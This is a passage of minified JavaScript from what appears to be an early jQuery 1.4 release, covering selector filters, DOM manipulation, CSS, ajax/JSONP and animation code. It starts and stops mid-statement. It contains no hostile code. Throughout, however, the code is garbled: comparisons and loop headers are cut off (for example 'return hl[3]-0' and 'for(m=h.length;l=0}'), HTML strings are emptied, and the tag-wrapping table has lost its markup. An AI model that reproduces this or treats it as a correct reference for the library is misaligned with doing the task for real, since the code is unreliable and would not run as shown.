g},ATTR:function(g,h,l,m,q,p){h=g[1].replace(/\\/g,"");if(!p&&n.attrMap[h])g[1]=n.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,l,m,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=k(g[3],null,null,h);else{g=k.filter(g[3],h,l,true^q);l||m.push.apply(m,g);return false}else if(n.match.POS.test(g[0])||n.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,l){return!!k(l[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,l,m){return h===m.length-1},even:function(g,h){return h%2===0},odd:function(g,h){return h%2===1},lt:function(g,h,l){return hl[3]-0},nth:function(g,h,l){return l[3]-0===h},eq:function(g,h,l){return l[3]-0===h}},filter:{PSEUDO:function(g,h,l,m){var q=h[1],p=n.filters[q];if(p)return p(g,l,h,m);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];l=0;for(m=h.length;l=0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var l=h[1];g=n.attrHandle[l]?n.attrHandle[l](g):g[l]!=null?g[l]:g.getAttribute(l);l=g+"";var m=h[2];h=h[4];return g==null?m==="!=":m==="="?l===h:m==="*="?l.indexOf(h)>=0:m==="~="?(" "+l+" ").indexOf(h)>=0:!h?l&&g!==false:m==="!="?l!==h:m==="^="?l.indexOf(h)===0:m==="$="?l.substr(l.length-h.length)===h:m==="|="?l===h||l.substr(0,h.length+1)===h+"-":false},POS:function(g,h,l,m){var q=n.setFilters[h[2]];if(q)return q(g,l,h,m)}}},r=n.match.POS;for(var u in n.match){n.match[u]=new RegExp(n.match[u].source+/(?![^\[]*\])(?![^\(]*\))/.source);n.leftMatch[u]=new RegExp(/(^(?:.|\r|\n)*?)/.source+n.match[u].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var z=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};try{Array.prototype.slice.call(s.documentElement.childNodes,0)}catch(C){z=function(g,h){h=h||[];if(j.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var l=0,m=g.length;l";var l=s.documentElement;l.insertBefore(g,l.firstChild);if(s.getElementById(h)){n.find.ID=function(m,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(m[1]))?q.id===m[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===m[1]?[q]:w:[]};n.filter.ID=function(m,q){var p=typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id");return m.nodeType===1&&p&&p.nodeValue===q}}l.removeChild(g);l=g=null})();(function(){var g=s.createElement("div");g.appendChild(s.createComment(""));if(g.getElementsByTagName("*").length>0)n.find.TAG=function(h,l){l=l.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var m=0;l[m];m++)l[m].nodeType===1&&h.push(l[m]);l=h}return l};g.innerHTML="";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")n.attrHandle.href=function(h){return h.getAttribute("href",2)};g=null})();s.querySelectorAll&&function(){var g=k,h=s.createElement("div");h.innerHTML="

";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){k=function(m,q,p,v){q=q||s;if(!v&&q.nodeType===9&&!x(q))try{return z(q.querySelectorAll(m),p)}catch(t){}return g(m,q,p,v)};for(var l in g)k[l]=g[l];h=null}}();(function(){var g=s.createElement("div");g.innerHTML="
";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){n.order.splice(1,0,"CLASS");n.find.CLASS=function(h,l,m){if(typeof l.getElementsByClassName!=="undefined"&&!m)return l.getElementsByClassName(h[1])};g=null}}})();var E=s.compareDocumentPosition?function(g,h){return!!(g.compareDocumentPosition(h)&16)}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},x=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},ga=function(g,h){var l=[],m="",q;for(h=h.nodeType?[h]:h;q=n.match.PSEUDO.exec(g);){m+=q[0];g=g.replace(n.match.PSEUDO,"")}g=n.relative[g]?g+"*":g;q=0;for(var p=h.length;q=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f0)for(var j=d;j0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,j={},i;if(f&&a.length){e=0;for(var o=a.length;e-1:c(f).is(e)){d.push({selector:i,elem:f});delete j[i]}}f=f.parentNode}}return d}var k=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(n,r){for(;r&&r.ownerDocument&&r!==b;){if(k?k.index(r)>-1:c(r).is(a))return r;r=r.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),a);return this.pushStack(qa(a[0])||qa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);eb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):e;if((this.length>1||gb.test(f))&&fb.test(a))e=e.reverse();return this.pushStack(e,a,R.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===w||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var Ja=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ka=/(<([\w:]+)[^>]*?)\/>/g,hb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,La=/<([\w:]+)/,ib=/"},F={option:[1,""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div
","
"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==w)return this.empty().append((this[0]&&this[0].ownerDocument||s).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,f;(f=this[d])!=null;d++)if(!a||c.filter(a,[f]).length){if(!b&&f.nodeType===1){c.cleanData(f.getElementsByTagName("*"));c.cleanData([f])}f.parentNode&&f.parentNode.removeChild(f)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild);return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Ja,"").replace(/=([^="'>\s]+\/)>/g,'="$1">').replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){ra(this,b);ra(this.find("*"),b.find("*"))}return b},html:function(a){if(a===w)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Ja,""):null;else if(typeof a==="string"&&!ta.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(La.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Ka,Ma);try{for(var b=0,d=this.length;b0||e.cacheable||this.length>1?k.cloneNode(true):k)}o.length&&c.each(o,Qa)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);var e=this.length===1&&this[0].parentNode;if(e&&e.nodeType===11&&e.childNodes.length===1&&d.length===1){d[b](this[0]);return this}else{e=0;for(var j=d.length;e0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),i);f=f.concat(i)}return this.pushStack(f,a,d.selector)}}});c.extend({clean:function(a,b,d,f){b=b||s;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||s;for(var e=[],j=0,i;(i=a[j])!=null;j++){if(typeof i==="number")i+="";if(i){if(typeof i==="string"&&!jb.test(i))i=b.createTextNode(i);else if(typeof i==="string"){i=i.replace(Ka,Ma);var o=(La.exec(i)||["",""])[1].toLowerCase(),k=F[o]||F._default,n=k[0],r=b.createElement("div");for(r.innerHTML=k[1]+i+k[2];n--;)r=r.lastChild;if(!c.support.tbody){n=ib.test(i);o=o==="table"&&!n?r.firstChild&&r.firstChild.childNodes:k[1]===""&&!n?r.childNodes:[];for(k=o.length-1;k>=0;--k)c.nodeName(o[k],"tbody")&&!o[k].childNodes.length&&o[k].parentNode.removeChild(o[k])}!c.support.leadingWhitespace&&V.test(i)&&r.insertBefore(b.createTextNode(V.exec(i)[0]),r.firstChild);i=r.childNodes}if(i.nodeType)e.push(i);else e=c.merge(e,i)}}if(d)for(j=0;e[j];j++)if(f&&c.nodeName(e[j],"script")&&(!e[j].type||e[j].type.toLowerCase()==="text/javascript"))f.push(e[j].parentNode?e[j].parentNode.removeChild(e[j]):e[j]);else{e[j].nodeType===1&&e.splice.apply(e,[j+1,0].concat(c.makeArray(e[j].getElementsByTagName("script"))));d.appendChild(e[j])}return e},cleanData:function(a){for(var b,d,f=c.cache,e=c.event.special,j=c.support.deleteExpando,i=0,o;(o=a[i])!=null;i++)if(d=o[c.expando]){b=f[d];if(b.events)for(var k in b.events)e[k]?c.event.remove(o,k):Ca(o,k,b.handle);if(j)delete o[c.expando];else o.removeAttribute&&o.removeAttribute(c.expando);delete f[d]}}});var kb=/z-?index|font-?weight|opacity|zoom|line-?height/i,Na=/alpha\([^)]*\)/,Oa=/opacity=([^)]*)/,ha=/float/i,ia=/-([a-z])/ig,lb=/([A-Z])/g,mb=/^-?\d+(?:px)?$/i,nb=/^-?\d/,ob={position:"absolute",visibility:"hidden",display:"block"},pb=["Left","Right"],qb=["Top","Bottom"],rb=s.defaultView&&s.defaultView.getComputedStyle,Pa=c.support.cssFloat?"cssFloat":"styleFloat",ja=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===w)return c.curCSS(d,f);if(typeof e==="number"&&!kb.test(f))e+="px";c.style(d,f,e)})};c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return w;if((b==="width"||b==="height")&&parseFloat(d)<0)d=w;var f=a.style||a,e=d!==w;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=Na.test(a)?a.replace(Na,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Oa.exec(f.filter)[1])/100+"":""}if(ha.test(b))b=Pa;b=b.replace(ia,ja);if(e)f[b]=d;return f[b]},css:function(a,b,d,f){if(b==="width"||b==="height"){var e,j=b==="width"?pb:qb;function i(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(j,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,"border"+this+"Width",true))||0})}a.offsetWidth!==0?i():c.swap(a,ob,i);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&a.currentStyle){f=Oa.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ha.test(b))b=Pa;if(!d&&e&&e[b])f=e[b];else if(rb){if(ha.test(b))b="float";b=b.replace(lb,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ia,ja);f=a.currentStyle[b]||a.currentStyle[d];if(!mb.test(f)&&nb.test(f)){b=e.left;var j=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=j}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var sb=J(),tb=//gi,ub=/select|textarea/i,vb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ka=/\?/,wb=/(\?|&)_=.*?(&|$)/,xb=/^(\w+:)?\/\/([^\/?#]+)/,yb=/%20/g,zb=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!=="string")return zb.call(this,a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=c.param(b,c.ajaxSettings.traditional);f="POST"}var j=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(i,o){if(o==="success"||o==="notmodified")j.html(e?c("
").append(i.responseText.replace(tb,"")).find(e):i.responseText);d&&j.each(d,[i.responseText,o,i])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ub.test(this.nodeName)||vb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:A.XMLHttpRequest&&(A.location.protocol!=="file:"||!A.ActiveXObject)?function(){return new A.XMLHttpRequest}:function(){try{return new A.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&e.success.call(k,o,i,x);e.global&&f("ajaxSuccess",[x,e])}function d(){e.complete&&e.complete.call(k,x,i);e.global&&f("ajaxComplete",[x,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),j,i,o,k=a&&a.context||e,n=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(n==="GET")N.test(e.url)||(e.url+=(ka.test(e.url)?"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||N.test(e.url))){j=e.jsonpCallback||"jsonp"+sb++;if(e.data)e.data=(e.data+"").replace(N,"="+j+"$1");e.url=e.url.replace(N,"="+j+"$1");e.dataType="script";A[j]=A[j]||function(q){o=q;b();d();A[j]=w;try{delete A[j]}catch(p){}z&&z.removeChild(C)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===false&&n==="GET"){var r=J(),u=e.url.replace(wb,"$1_="+r+"$2");e.url=u+(u===e.url?(ka.test(e.url)?"&":"?")+"_="+r:"")}if(e.data&&n==="GET")e.url+=(ka.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&c.event.trigger("ajaxStart");r=(r=xb.exec(e.url))&&(r[1]&&r[1]!==location.protocol||r[2]!==location.host);if(e.dataType==="script"&&n==="GET"&&r){var z=s.getElementsByTagName("head")[0]||s.documentElement,C=s.createElement("script");C.src=e.url;if(e.scriptCharset)C.charset=e.scriptCharset;if(!j){var B=false;C.onload=C.onreadystatechange=function(){if(!B&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){B=true;b();d();C.onload=C.onreadystatechange=null;z&&C.parentNode&&z.removeChild(C)}}}z.insertBefore(C,z.firstChild);return w}var E=false,x=e.xhr();if(x){e.username?x.open(n,e.url,e.async,e.username,e.password):x.open(n,e.url,e.async);try{if(e.data||a&&a.contentType)x.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&x.setRequestHeader("If-Modified-Since",c.lastModified[e.url]);c.etag[e.url]&&x.setRequestHeader("If-None-Match",c.etag[e.url])}r||x.setRequestHeader("X-Requested-With","XMLHttpRequest");x.setRequestHeader("Accept",e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(ga){}if(e.beforeSend&&e.beforeSend.call(k,x,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");x.abort();return false}e.global&&f("ajaxSend",[x,e]);var g=x.onreadystatechange=function(q){if(!x||x.readyState===0||q==="abort"){E||d();E=true;if(x)x.onreadystatechange=c.noop}else if(!E&&x&&(x.readyState===4||q==="timeout")){E=true;x.onreadystatechange=c.noop;i=q==="timeout"?"timeout":!c.httpSuccess(x)?"error":e.ifModified&&c.httpNotModified(x,e.url)?"notmodified":"success";var p;if(i==="success")try{o=c.httpData(x,e.dataType,e)}catch(v){i="parsererror";p=v}if(i==="success"||i==="notmodified")j||b();else c.handleError(e,x,i,p);d();q==="timeout"&&x.abort();if(e.async)x=null}};try{var h=x.abort;x.abort=function(){x&&h.call(x);g("abort")}}catch(l){}e.async&&e.timeout>0&&setTimeout(function(){x&&!E&&g("timeout")},e.timeout);try{x.send(n==="POST"||n==="PUT"||n==="DELETE"?e.data:null)}catch(m){c.handleError(e,x,null,m);d()}e.async||g();return x}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b==="json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\[\]$/.test(i)?f(i,n):d(i+"["+(typeof n==="object"||c.isArray(n)?k:"")+"]",n)});else!b&&o!=null&&typeof o==="object"?c.each(o,function(k,n){d(i+"["+k+"]",n)}):f(i,o)}function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i)+"="+encodeURIComponent(o)}var e=[];if(b===w)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var j in a)d(j,a[j]);return e.join("&").replace(yb,"+")}});var la={},Ab=/toggle|show|hide/,Bb=/^([+-]=)?([\d+-.]+)(.*)$/,W,va=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();la[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration==="number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(j){return e.step(j)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b
";a.insertBefore(b,a.firstChild);d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==j;a.removeChild(b);c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),j=parseInt(c.curCSS(a,"top",true),10)||0,i=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,d,e);d={top:b.top-e.top+j,left:b.left-e.left+i};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||s.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],j;if(!e)return null;if(f!==w)return this.each(function(){if(j=wa(this))j.scrollTo(!a?f:c(j).scrollLeft(),a?f:c(j).scrollTop());else this[d]=f});else return(j=wa(e))?"pageXOffset"in j?j[a?"pageYOffset":"pageXOffset"]:c.support.boxModel&&j.document.documentElement[d]||j.document.body[d]:e[d]}});c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(j){var i=c(this);i[d](f.call(this,j,i[d]()))});return"scrollTo"in 